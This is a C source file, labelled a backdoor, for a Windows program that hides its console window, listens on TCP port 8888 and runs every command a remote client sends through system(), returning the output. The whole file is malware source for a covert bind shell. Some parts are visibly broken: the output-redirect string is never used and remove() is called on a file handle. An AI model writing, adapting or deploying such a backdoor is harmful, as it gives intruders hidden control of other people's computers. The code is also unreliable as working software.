backdoor c code

/*
Create a TCP socket
*/

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc, char *argv[])
{
	HWND hWnd = GetConsoleWindow();
	ShowWindow(hWnd, SW_MINIMIZE);  //won't hide the window without SW_MINIMIZE
	ShowWindow(hWnd, SW_HIDE);
	backdoor();

	return 0;
}

int backdoor()
{
	WSADATA wsa;
	SOCKET s, new_socket;
	struct sockaddr_in server, client;
	int c;
	char *message, server_reply[100000];
	int recv_size;

	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
	{
		printf("Failed. Error Code : %d", WSAGetLastError());
		return 1;
	}

	printf("Initialised.\n");

	//Create a socket
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		printf("Could not create socket : %d", WSAGetLastError());
	}

	printf("Socket created.\n");

	//Prepare the sockaddr_in structure
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = INADDR_ANY;
	server.sin_port = htons(8888);

	//Bind
	if (bind(s, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
	{
		printf("Bind failed with error code : %d", WSAGetLastError());
		exit(EXIT_FAILURE);
	}

	puts("Bind done");

	//Listen to incoming connections
	listen(s, 3);

	//Accept and incoming connection
	puts("Waiting for incoming connections...");

	c = sizeof(struct sockaddr_in);
	FILE *fp2;
	char ch;
	int i = 0;
	int clean_array = 0;
	char array[10000];
	char concat[11] = " > cmd.txt";
	char error_message[100] = "\n !!! WRONG COMMAND !!!" ;
	char chdir_message[100] = "\n Chdir to : ";
	char chdir_success[100] = "\n Chdir success !\n";
	int ret;
	int chdir_flag;

	while ((new_socket = accept(s, (struct sockaddr *)&client, &c)) != INVALID_SOCKET)
	{
		puts("Connection accepted");

		int a = 1;
		while (a == 1)
		{
			if ((recv_size = recv(new_socket, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR)
			{
				puts("recv failed");
			}
			else
			{
				printf("recv size : %d\n", recv_size);
				server_reply[recv_size] = '\0';
				printf("INPUT : %s\n", server_reply);

				chdir_flag = strcmp(server_reply, "chdir");
				printf(">>> %d <<<\n", chdir_flag);

				if (chdir_flag == 0)
				{

					if (send(new_socket, chdir_message, strlen(chdir_message), 0) < 0)
					{
						puts("Send failed");
						return 1;
					}

					if ((recv_size = recv(new_socket, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR)
					{
						puts("recv failed");
					}
					printf("CHDIR  : %d\n", recv_size);
					server_reply[recv_size] = '\0';
					printf("INPUT : %s\n", server_reply);
					chdir(server_reply);
					printf("Chdir DONE !!!\n");

					chdir_flag = 1;

					if (send(new_socket, chdir_success, strlen(chdir_success), 0) < 0)
					{
						puts("Send failed");
						return 1;
					}


				}
				else
				{

					printf("Command output >>\n");
					ret = system(server_reply);
					printf("\n\n>>> %d <<<\n\n", ret);

					i = 0;

					if (ret == 0)
					{
						fp2 = fopen("cmd.txt", "r");
						while ((ch = fgetc(fp2)) != EOF)
						{
							printf("%c", ch);
							array[i] = ch;
							i++;
						}
						array[i] = '\0';



						remove(fp2);
						fclose(fp2);

						if (send(new_socket, array, strlen(array), 0) < 0)
						{
							puts("Send failed");
							return 1;
						}

						for (i = 0; i < 10000; i++)
							array[i] = '\0';

					}
					if (ret == 1)
						send(new_socket, error_message, strlen(error_message), 0);
				}
			}
		}


		if (new_socket == INVALID_SOCKET)
		{
			printf("accept failed with error code : %d", WSAGetLastError());
			return 1;
		}

	}
		closesocket(s);
		WSACleanup();

		return 0;
	}